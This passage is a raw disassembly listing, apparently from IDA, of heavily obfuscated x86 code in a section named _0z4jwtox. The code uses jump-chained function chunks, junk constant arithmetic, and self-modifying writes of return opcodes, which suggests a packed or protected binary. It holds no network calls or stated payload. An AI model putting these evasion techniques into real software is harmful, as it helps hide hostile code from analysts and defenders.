edx, 0C314430Dh call sub_74EA54 loc_752F4F: ; CODE XREF: _0z4jwtox:0074BE40j jmp loc_74FE3B ; END OF FUNCTION CHUNK FOR sub_7474B9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_746E93 loc_752F54: ; CODE XREF: sub_746E93+6j jmp loc_74AB46 ; END OF FUNCTION CHUNK FOR sub_746E93 ; --------------------------------------------------------------------------- loc_752F59: ; CODE XREF: _0z4jwtox:loc_754C5Cj add edi, 7C8C577Ch or edi, 462EA7C3h add edi, 99762641h mov edi, [edi] xchg edi, [esp] retn ; --------------------------------------------------------------------------- loc_752F71: ; CODE XREF: _0z4jwtox:0074C5FCj jmp loc_756671 ; =============== S U B R O U T I N E ======================================= sub_752F76 proc near ; CODE XREF: sub_7468F2+2D82j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0074B8F0 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00752355 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00757597 SIZE 00000005 BYTES push ebx mov ebx, ebp jmp loc_757597 sub_752F76 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_161. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75143A loc_752F7F: ; CODE XREF: sub_75143A+3j push ecx mov esp, ebp pop ebp mov eax, ds:dword_74B958 or eax, eax jnz loc_74E9F5 jmp loc_74915C ; END OF FUNCTION CHUNK FOR sub_75143A ; --------------------------------------------------------------------------- loc_752F96: ; CODE XREF: _0z4jwtox:0074AE12j pop edi popf xor esi, 0FE9E3797h shr edx, 0Eh ; START OF FUNCTION CHUNK FOR sub_74D4D3 loc_752FA1: ; CODE XREF: sub_74D4D3:loc_74AE02j add ebx, 0B2A7C25Bh jmp loc_753D44 ; END OF FUNCTION CHUNK FOR sub_74D4D3 ; =============== S U B R O U T I N E ======================================= sub_752FAC proc near ; DATA XREF: _0z4jwtox:0074DFD7o lea eax, loc_745969 mov byte ptr [eax], 0C3h jmp loc_745969 sub_752FAC endp ; =============== S U B R O U T I N E ======================================= sub_752FBA proc near ; CODE XREF: sub_404ECE+1EEp ; sub_405815+38p ... call sub_752FC5 jmp ds:off_41F074 sub_752FBA endp ; =============== S U B R O U T I N E ======================================= sub_752FC5 proc near ; CODE XREF: sub_752FC5:loc_749C6Aj ; _0z4jwtox:0074EC17j ... arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 00745C7B SIZE 00000029 BYTES ; FUNCTION CHUNK AT 00749C6A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074E422 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0074EC1C SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0075057B SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00753E72 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007566E6 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00757682 SIZE 00000005 BYTES jo loc_74EC1C pop edx jmp loc_7566E6 sub_752FC5 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747C39 loc_752FD1: ; CODE XREF: sub_747C39:loc_75671Fj pop esi lea eax, sub_74C3B3 mov byte ptr [eax], 0C3h jmp sub_74C3B3 ; END OF FUNCTION CHUNK FOR sub_747C39 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74C3B3 loc_752FE0: ; CODE XREF: sub_74C3B3j pop edx push offset loc_74976C jmp nullsub_103 ; END OF FUNCTION CHUNK FOR sub_74C3B3 ; --------------------------------------------------------------------------- loc_752FEB: ; CODE XREF: _0z4jwtox:00756EF4j add eax, 7407BC01h rol eax, 1Dh call sub_748D38 ; START OF FUNCTION CHUNK FOR sub_7561AB loc_752FF9: ; CODE XREF: sub_7561AB-3A43j jmp loc_7455A6 ; END OF FUNCTION CHUNK FOR sub_7561AB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74CD80 loc_752FFE: ; CODE XREF: sub_74CD80+507j jmp loc_754F07 ; END OF FUNCTION CHUNK FOR sub_74CD80 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_85. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75043C loc_753004: ; CODE XREF: sub_75043C+1Cj jmp loc_74A554 ; END OF FUNCTION CHUNK FOR sub_75043C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74A3AB loc_753009: ; CODE XREF: sub_74A3AB+417Fj jmp nullsub_178 ; END OF FUNCTION CHUNK FOR sub_74A3AB ; --------------------------------------------------------------------------- sbb edi, 0FCE3B991h jmp loc_74567F ; =============== S U B R O U T I N E ======================================= sub_753019 proc near ; CODE XREF: sub_74724C+1D3Cp ; _0z4jwtox:007490CBj ... arg_0 = dword ptr 4 xchg eax, [esp+0] pop eax mov eax, [esp-4+arg_0] push ecx mov ecx, edx xchg ecx, [esp+0] call sub_754E36 push 1166777Fh jmp loc_74FCA6 sub_753019 endp ; --------------------------------------------------------------------------- loc_753035: ; CODE XREF: _0z4jwtox:0074D916j ; _0z4jwtox:loc_7551D9j test ebx, 6DFA4219h jmp loc_74F9E0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74E451 loc_753040: ; CODE XREF: _0z4jwtox:loc_746670j ; sub_74E451+78F3j push 1A53BB0Dh xchg ebx, [esp+0] mov eax, ebx pop ebx and eax, 0B12CE0F7h jmp loc_75627C ; END OF FUNCTION CHUNK FOR sub_74E451 ; --------------------------------------------------------------------------- push 0E369EF81h pop edx or edx, 0EE72A06Fh add edx, 0F09DB933h sub edx, 0AB16B98h xor edx, 672A89BCh call sub_74B525 push eax jmp loc_74E9E6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748357 loc_75307F: ; CODE XREF: sub_748357+18j jz loc_74669D ; END OF FUNCTION CHUNK FOR sub_748357 ; START OF FUNCTION CHUNK FOR sub_74C0A0 loc_753085: ; CODE XREF: sub_74C0A0+4592j jmp nullsub_104 ; END OF FUNCTION CHUNK FOR sub_74C0A0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74894B loc_75308A: ; CODE XREF: sub_74894B+Bj jmp loc_755247 ; END OF FUNCTION CHUNK FOR sub_74894B ; --------------------------------------------------------------------------- xor edi, 9E35D73Eh jmp loc_74669A ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_246. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_75309B proc near ; CODE XREF: _0z4jwtox:0074FB84j ; sub_749306+A197p ; FUNCTION CHUNK AT 00747DB5 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0074AAD4 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0074AC63 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00751E34 SIZE 00000005 BYTES xchg esi, [esp+0] pop esi add edx, 61CC3614h mov edx, [edx] imul byte ptr [edx] jmp loc_74AC63 sub_75309B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_7530AE proc near ; DATA XREF: _0z4jwtox:0074BDCEo mov byte ptr [eax], 0C3h jmp nullsub_290 sub_7530AE endp ; --------------------------------------------------------------------------- loc_7530B6: ; CODE XREF: _0z4jwtox:0074FFEEj mov eax, [esp] push ecx mov ecx, edx xchg ecx, [esp] call sub_74A5E8 jmp loc_746DCD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_756A7E loc_7530C9: ; CODE XREF: sub_756A7E:loc_7523AEj or esi, 5BF4FA60h add esi, 207DE4D4h ; END OF FUNCTION CHUNK FOR sub_756A7E ; START OF FUNCTION CHUNK FOR sub_74C670 loc_7530D5: ; CODE XREF: sub_74C670-4AA6j xchg esi, [esp-4+arg_0] jmp loc_74DA5D ; END OF FUNCTION CHUNK FOR sub_74C670 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7514BF loc_7530DD: ; CODE XREF: _0z4jwtox:loc_74BE7Cj ; sub_7514BF:loc_751442j xor eax, eax push offset sub_748B29 jmp nullsub_105 ; END OF FUNCTION CHUNK FOR sub_7514BF ; --------------------------------------------------------------------------- cmp ebx, eax jmp loc_74CF29 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74E451 loc_7530F0: ; CODE XREF: sub_74E451:loc_74E46Cj mov eax, [ebp-4] movzx eax, byte ptr [eax] mov edx, [ebp+8] mov [edx-18h], eax jmp loc_752397 ; END OF FUNCTION CHUNK FOR sub_74E451 ; --------------------------------------------------------------------------- ror ebp, 19h jmp sub_755E40 ; --------------------------------------------------------------------------- loc_753109: ; CODE XREF: _0z4jwtox:0074BECFj pop ebp retn ; =============== S U B R O U T I N E ======================================= sub_75310B proc near ; CODE XREF: sub_74E58E-8762j ; _0z4jwtox:00746C93j ... mov eax, 0A609649Fh retn sub_75310B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747109 loc_753111: ; CODE XREF: sub_747109+Dj jmp loc_74A0DE ; END OF FUNCTION CHUNK FOR sub_747109 ; =============== S U B R O U T I N E ======================================= sub_753116 proc near ; CODE XREF: sub_7499A5+4p var_C = dword ptr -0Ch ; FUNCTION CHUNK AT 0074A416 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 00751097 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 007512DF SIZE 00000005 BYTES push eax jmp loc_74A416 sub_753116 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_75311C: ; DATA XREF: sub_749B76-366o test al, al jnz loc_7488E0 call sub_747379 loc_753129: ; CODE XREF: _0z4jwtox:0074C517j jmp loc_74EB33 ; =============== S U B R O U T I N E ======================================= sub_75312E proc near ; CODE XREF: sub_40656E+13Fp ; _0z4jwtox:00753445j ; DATA XREF: ... push ebx push 37AABB7Fh pop ebx or ebx, 0C3C9F857h jmp loc_74990B sub_75312E endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747A67 loc_753140: ; CODE XREF: sub_747A67+3F3Dj push offset sub_74A1BE jmp nullsub_106 ; END OF FUNCTION CHUNK FOR sub_747A67 ; --------------------------------------------------------------------------- loc_75314A: ; CODE XREF: _0z4jwtox:loc_74F576j push 0AF1E9F3Bh pop edx sub edx, 2B3867B7h rol edx, 3 xor edx, 0B35816Eh or edx, 6FBD1A97h add edx, 80B7C143h jmp loc_74C036 ; --------------------------------------------------------------------------- loc_753170: ; CODE XREF: _0z4jwtox:0074C94Aj jnz loc_7527E0 ; =============== S U B R O U T I N E ======================================= sub_753176 proc near ; CODE XREF: sub_748C0D:loc_747296p ; FUNCTION CHUNK AT 00746D99 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00747CF1 SIZE 00000003 BYTES ; FUNCTION CHUNK AT 00748641 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007491EB SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0074932E SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0074BAC0 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0074BFA3 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0074D3CE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00750DFF SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00755B41 SIZE 0000000B BYTES xchg ebx, [esp+0] pop ebx sub al, 99h jmp loc_748641 sub_753176 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74E3F7 loc_753181: ; CODE XREF: sub_74E3F7:loc_7535EBj sbb edx, 44E729FCh popf jmp loc_74D112 ; END OF FUNCTION CHUNK FOR sub_74E3F7 ; --------------------------------------------------------------------------- ror eax, 1Ch jmp sub_757671 ; --------------------------------------------------------------------------- loc_753195: ; CODE XREF: _0z4jwtox:00753933j mov edi, 8DD39E5Bh jmp loc_75464E ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_252. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- jno loc_748D4F mov eax, [esp] ; START OF FUNCTION CHUNK FOR sub_756826 loc_7531A9: ; CODE XREF: sub_756826:loc_747FAFj push edx jmp loc_748316 ; END OF FUNCTION CHUNK FOR sub_756826 ; =============== S U B R O U T I N E ======================================= sub_7531AF proc near ; DATA XREF: _0z4jwtox:0074EB1Do xchg ebx, [esp+0] jmp sub_746E93 sub_7531AF endp ; =============== S U B R O U T I N E ======================================= sub_7531B7 proc near ; CODE XREF: _0z4jwtox:00747E3Ep ; _0z4jwtox:0074B164j ; FUNCTION CHUNK AT 0074AD7F SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0074D9D6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00754F57 SIZE 00000005 BYTES xchg ecx, [esp+0] pop ecx mov ds:off_41F19C, eax lea eax, sub_74BD26 jmp loc_74D9D6 sub_7531B7 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_7531CC: ; CODE XREF: _0z4jwtox:0074B5F6j jmp ds:dword_41F174 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74CCB1 loc_7531D2: ; CODE XREF: sub_74CCB1+10j jmp loc_74FA31 ; END OF FUNCTION CHUNK FOR sub_74CCB1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74F78B loc_7531D7: ; CODE XREF: sub_74F78B-73B4j jmp loc_74DCA0 ; END OF FUNCTION CHUNK FOR sub_74F78B ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_24. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- and byte ptr [esi+0], 0 pop edx push offset sub_745243 jmp loc_7539CF ; --------------------------------------------------------------------------- loc_7531ED: ; CODE XREF: _0z4jwtox:007570C5j and eax, 0FBD91F5Ch add eax, 0BDEE036Dh call sub_746E93 push ecx jmp loc_74F41D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74EB61 loc_753204: ; CODE XREF: sub_74EB61:loc_74C0F2j xchg ebx, [esp+0Ch+var_C] mov eax, ebx pop ebx sub eax, 0A4CFD5B3h xor eax, 83FE00B4h jns loc_745022 ; END OF FUNCTION CHUNK FOR sub_74EB61 ; START OF FUNCTION CHUNK FOR sub_74FEAF loc_75321C: ; CODE XREF: sub_74FEAF+10j jmp loc_751165 ; END OF FUNCTION CHUNK FOR sub_74FEAF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7462C2 loc_753221: ; CODE XREF: sub_7462C2:loc_7510BBj add ebp, edx xor ebp, ebx jmp loc_745022 ; END OF FUNCTION CHUNK FOR sub_7462C2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74D1F3 loc_75322A: ; CODE XREF: sub_74D1F3-71BAj add ebp, edx jmp loc_748AE2 ; END OF FUNCTION CHUNK FOR sub_74D1F3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748B44 loc_753231: ; CODE XREF: sub_748B44:loc_7504FCj sub al, 99h push 0ED8D5052h pop edx jmp loc_74EA90 ; END OF FUNCTION CHUNK FOR sub_748B44 ; --------------------------------------------------------------------------- push 56A1B224h pop eax and eax, 6F8199FEh add eax, 84FEBA0Ch call sub_746E93 jmp loc_748AED ; --------------------------------------------------------------------------- loc_75325A: ; CODE XREF: _0z4jwtox:00755127j ja loc_7505A7 xor eax, ebx shr ecx, 12h loc_753265: ; CODE XREF: _0z4jwtox:loc_755111j add ecx, 0FBF1A6ADh add ecx, ebp add ecx, 35244513h mov [ecx], eax jmp loc_74F0D1 ; --------------------------------------------------------------------------- loc_75327A: ; CODE XREF: _0z4jwtox:00749591j add ebx, 1AF171D6h mov [ebx], eax pop ebx lea eax, sub_75100C mov byte ptr [eax], 0C3h jmp loc_74D012 ; --------------------------------------------------------------------------- push eax push 0A8E3B3B5h pop eax jmp loc_749C4D ; --------------------------------------------------------------------------- loc_75329D: ; CODE XREF: _0z4jwtox:007451A0j jns loc_74B219 loc_7532A3: ; CODE XREF: _0z4jwtox:loc_74F02Fj rol edi, 1Dh cmp edi, 0B16B60FEh jmp loc_74C6B3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74FB89 loc_7532B1: ; CODE XREF: sub_74FB89+Dj mov eax, [ebp-0Ch] mov [ebp-1Ch], eax lea eax, [ebp-125h] push offset loc_754D31 jmp loc_752BF7 ; END OF FUNCTION CHUNK FOR sub_74FB89 ; --------------------------------------------------------------------------- loc_7532C7: ; CODE XREF: _0z4jwtox:00747805j jz loc_74F4C3 sub al, 99h push 91C85389h pop edx and edx, 48198F9h add edx, 99B2D444h and edx, 2AB8825Fh jmp loc_754690 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_746869 loc_7532EC: ; CODE XREF: sub_746869:loc_74B704j xchg ebx, ebp jno sub_753019 jmp loc_74C697 ; END OF FUNCTION CHUNK FOR sub_746869 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74ED5F loc_7532F9: ; CODE XREF: sub_74ED5F:loc_7457F8j mov ebx, edx pop edx xor ebx, 0C4E9CEAAh rol ebx, 19h jmp loc_7515F4 ; END OF FUNCTION CHUNK FOR sub_74ED5F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748BB8 loc_75330A: ; CODE XREF: sub_748BB8-2ACCj add ecx, 7FD41F08h xchg ecx, [esp+8+var_8] jmp loc_754960 ; END OF FUNCTION CHUNK FOR sub_748BB8 ; --------------------------------------------------------------------------- mov eax, 0D53D974Bh push offset loc_74D2DE jmp locret_745F59 ; --------------------------------------------------------------------------- loc_753327: ; CODE XREF: _0z4jwtox:0074D028j popf loc_753328: ; CODE XREF: _0z4jwtox:loc_74D01Cj and eax, 0EBDFA17Eh sub eax, 155A655Ah xor eax, 0AC6D169Ch call sub_746E93 mov ds:off_41F08C, eax jmp loc_74C50E ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_95. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_755CFC loc_75334B: ; CODE XREF: sub_755CFC-D524j jmp loc_74B6D7 ; END OF FUNCTION CHUNK FOR sub_755CFC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74F594 loc_753350: ; CODE XREF: sub_74F594:loc_74C177j cmp ax, 0A5B3h jnz loc_754234 retn ; END OF FUNCTION CHUNK FOR sub_74F594 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75422B loc_75335B: ; CODE XREF: sub_75422B:loc_754234j sub ebx, 10000h jmp loc_7541E0 ; END OF FUNCTION CHUNK FOR sub_75422B ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_156. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_754175 loc_753367: ; CODE XREF: sub_754175-C92j jmp nullsub_181 ; END OF FUNCTION CHUNK FOR sub_754175 ; --------------------------------------------------------------------------- loc_75336C: ; CODE XREF: _0z4jwtox:007528C4j jmp loc_74EE88 ; --------------------------------------------------------------------------- loc_753371: ; CODE XREF: _0z4jwtox:0074BB53j jnz loc_74CC66 ; START OF FUNCTION CHUNK FOR sub_755892 loc_753377: ; CODE XREF: sub_755892+16j jmp nullsub_241 ; END OF FUNCTION CHUNK FOR sub_755892 ; --------------------------------------------------------------------------- dd 0E9DF3B51h, 0FFFF621Ch ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_745A78 loc_753384: ; CODE XREF: sub_745A78+3A9Cj mov ebx, edx jnz nullsub_7 rol edx, 0Ah jmp loc_754A16 ; END OF FUNCTION CHUNK FOR sub_745A78 ; --------------------------------------------------------------------------- loc_753394: ; CODE XREF: _0z4jwtox:0074C6AEj add eax, 8D2ADA4Fh xchg ecx, [esi] push ecx and esi, 4101A732h loc_7533A3: ; CODE XREF: _0z4jwtox:loc_745000j mov eax, 0A2CD59D9h call sub_746E93 rol eax, 1Ah xor eax, 0DB893C7Eh jmp loc_74DF16 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_160. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_7533BC: ; CODE XREF: _0z4jwtox:0075401Aj jmp locret_74D5B3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748A22 loc_7533C1: ; CODE XREF: sub_748A22+7428j jmp loc_7454A9 ; END OF FUNCTION CHUNK FOR sub_748A22 ; --------------------------------------------------------------------------- loc_7533C6: ; CODE XREF: _0z4jwtox:loc_754C0Bj jge loc_75047A ; START OF FUNCTION CHUNK FOR sub_749BBA loc_7533CC: ; CODE XREF: sub_749BBA-32F6j jmp nullsub_108 ; END OF FUNCTION CHUNK FOR sub_749BBA ; --------------------------------------------------------------------------- and esi, edx jmp loc_75046F ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_293. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74C670 loc_7533D9: ; CODE XREF: sub_74C670+3ECFj jnz loc_747BD0 jmp loc_74BD5F ; END OF FUNCTION CHUNK FOR sub_74C670 ; --------------------------------------------------------------------------- loc_7533E4: ; CODE XREF: _0z4jwtox:loc_74F3A4j xor ecx, 93E4FAF6h call sub_74A0BD loc_7533EF: ; CODE XREF: _0z4jwtox:00751F78j cmp edi, edx jmp loc_74A24A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75364C loc_7533F6: ; CODE XREF: sub_75364C-37E1j mov edi, 5A5D366h or esi, 1FF96369h loc_753401: ; CODE XREF: sub_75364C:loc_7469DAj call sub_74985C loc_753406: ; CODE XREF: _0z4jwtox:0074FCC3j jmp loc_7522A2 ; END OF FUNCTION CHUNK FOR sub_75364C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74D23E loc_75340B: ; CODE XREF: sub_74D23E-5194j jmp loc_755C2D ; END OF FUNCTION CHUNK FOR sub_74D23E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7543C5 loc_753410: ; CODE XREF: sub_7543C5-5B4Aj pop ebx push ebx push 3B695452h pop ebx and ebx, 0EA5FD68Bh sub ebx, 6C9D39DAh jmp loc_74A4F8 ; END OF FUNCTION CHUNK FOR sub_7543C5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_754C68 loc_753429: ; CODE XREF: sub_754C68:loc_74CDE2j jz loc_752192 jmp loc_755624 ; END OF FUNCTION CHUNK FOR sub_754C68 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7463AE loc_753434: ; CODE XREF: sub_7463AE+AC7Fj and ebp, edx add ebx, eax sub ebx, 3083C36Fh test ebx, ecx jmp loc_750C3B ; END OF FUNCTION CHUNK FOR sub_7463AE ; --------------------------------------------------------------------------- jmp ds:off_41F098 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75051C loc_75344B: ; CODE XREF: _0z4jwtox:loc_74A508j ; sub_750202:loc_74E22Ej ... jo loc_752364 pop edx ; END OF FUNCTION CHUNK FOR sub_75051C ; START OF FUNCTION CHUNK FOR sub_74673E loc_753452: ; CODE XREF: sub_74673E:loc_750730j mov eax, [esp+0] jmp loc_74CB6F ; END OF FUNCTION CHUNK FOR sub_74673E ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_125. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7545C6 loc_75345B: ; CODE XREF: sub_7545C6+15j jmp loc_748933 ; END OF FUNCTION CHUNK FOR sub_7545C6 ; --------------------------------------------------------------------------- adc ebx, 0CE41B9FFh jmp loc_74BA18 ; --------------------------------------------------------------------------- call nullsub_278 jmp ds:dword_41F0D4 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_278. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- jnz loc_74C9FF jmp loc_74A191 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_749306 loc_753482: ; CODE XREF: sub_749306:loc_75121Aj pop edx add edx, 86FC08DCh xor edx, 18F270CBh and edx, 0B4BDC9B0h xor edx, 8E1740E8h add edx, ebp call sub_75309B loc_7534A2: ; CODE XREF: sub_74CF35-45C7j jmp nullsub_110 ; END OF FUNCTION CHUNK FOR sub_749306 ; --------------------------------------------------------------------------- loc_7534A7: ; CODE XREF: _0z4jwtox:0074678Cj jmp loc_751E95 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_746DD8 loc_7534AC: ; CODE XREF: sub_746DD8-1B9Aj jmp loc_74F28B ; END OF FUNCTION CHUNK FOR sub_746DD8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74946E loc_7534B1: ; CODE XREF: sub_74946E:loc_7490B9j push edx push 99040E65h pop edx rol edx, 6 add edx, 3711AC06h jmp loc_74B650 ; END OF FUNCTION CHUNK FOR sub_74946E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_754175 loc_7534C6: ; CODE XREF: sub_754175:loc_753B98j add eax, 0CD66438Dh add eax, ebp add eax, 0E6DFE46Fh mov eax, [eax] call sub_750638 loc_7534DB: ; CODE XREF: sub_74F53E-1EAj ; _0z4jwtox:00754F46j mov [ebp-14h], eax push offset sub_74BA92 jmp loc_753367 ; END OF FUNCTION CHUNK FOR sub_754175 ; --------------------------------------------------------------------------- loc_7534E8: ; CODE XREF: _0z4jwtox:loc_755DB2j retn ; --------------------------------------------------------------------------- jno loc_754CF0 jmp sub_7578F4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74D1F3 loc_7534F4: ; CODE XREF: _0z4jwtox:loc_74EE88j ; sub_74D1F3:loc_74EE97j and eax, 0E2350F87h or eax, 0DC0EB0FDh sub eax, 1ABF43E7h add eax, 1F1531BCh xchg eax, [esp-4+arg_0] jmp loc_746701 ; END OF FUNCTION CHUNK FOR sub_74D1F3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_751078 loc_753514: ; CODE XREF: sub_751078:loc_74EE4Ej call sub_754FC6 mov edx, 0B9726E5Ah call sub_74B525 push offset loc_74B510 jmp loc_75626F ; END OF FUNCTION CHUNK FOR sub_751078 ; --------------------------------------------------------------------------- sbb ecx, 6A42C939h ; START OF FUNCTION CHUNK FOR sub_74D23E loc_753533: ; CODE XREF: sub_74D23E:loc_75409Bj jmp loc_74BB98 ; END OF FUNCTION CHUNK FOR sub_74D23E ; =============== S U B R O U T I N E ======================================= sub_753538 proc near ; CODE XREF: _0z4jwtox:00754444j ; sub_7562D5-1D6Ep ; FUNCTION CHUNK AT 00755A4C SIZE 0000000E BYTES xchg ebx, [esp+0] pop ebx add edx, 0F3ADB074h mov [edx], eax pop edx jmp loc_755A4C sub_753538 endp ; sp-analysis failed ; --------------------------------------------------------------------------- mov eax, [esp] call sub_746CF0 retn ; --------------------------------------------------------------------------- db 0D3h dword_753554 dd 1183B867h ; sub_756496:loc_74FF8Er ... ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747A94 loc_753558: ; CODE XREF: sub_747A94+758j jmp loc_74B0D3 ; END OF FUNCTION CHUNK FOR sub_747A94 ; --------------------------------------------------------------------------- call nullsub_18 jmp loc_7521FD ; --------------------------------------------------------------------------- loc_753567: ; DATA XREF: sub_75375E-6E58o mov eax, [ebp-4] mov al, [eax] jo loc_751519 sub al, 99h mov edx, [ebp-4] jmp loc_754C9B ; --------------------------------------------------------------------------- loc_75357C: ; CODE XREF: _0z4jwtox:00755EAEj pop ecx xor ecx, 0EAB4CCCCh rol ecx, 0Ch add ecx, 87DEBBD5h xor ecx, 8EE6652Dh push offset loc_753811 jmp locret_754D1C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7542FD loc_75359C: ; CODE XREF: sub_7542FD+15j or eax, 0F631A1FBh push offset loc_74FBCB jmp nullsub_164 ; END OF FUNCTION CHUNK FOR sub_7542FD ; --------------------------------------------------------------------------- xchg ebx, [edx] jmp sub_749FD7 ; =============== S U B R O U T I N E ======================================= sub_7535B3 proc near ; CODE XREF: _0z4jwtox:0074E336j ; sub_752B0C-3D04p ; FUNCTION CHUNK AT 0074E3ED SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00754EB0 SIZE 00000003 BYTES xchg ecx, [esp+0] pop ecx mov eax, [eax] loc_7535B9: ; CODE XREF: sub_7544F1+21EAj add eax, [ebp-4] jmp loc_74E3ED sub_7535B3 endp ; sp-analysis failed ; --------------------------------------------------------------------------- push edx push 0AC64D7Ch pop edx rol edx, 13h jmp loc_7546E9 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_270. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- add byte ptr [eax-0Bh], 0FFh jmp fword ptr [eax-26h] ; --------------------------------------------------------------------------- dd 0E90074EAh, 2AE8h ; =============== S U B R O U T I N E ======================================= sub_7535E0 proc near ; CODE XREF: sub_41B513+59p ; sub_41B513+8Dp ... call sub_7535F0 jmp ds:off_41F02C sub_7535E0 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74E3F7 loc_7535EB: ; CODE XREF: sub_74E3F7+1FC0j jmp loc_753181 ; END OF FUNCTION CHUNK FOR sub_74E3F7 ; =============== S U B R O U T I N E ======================================= sub_7535F0 proc near ; CODE XREF: _0z4jwtox:0074802Fj ; 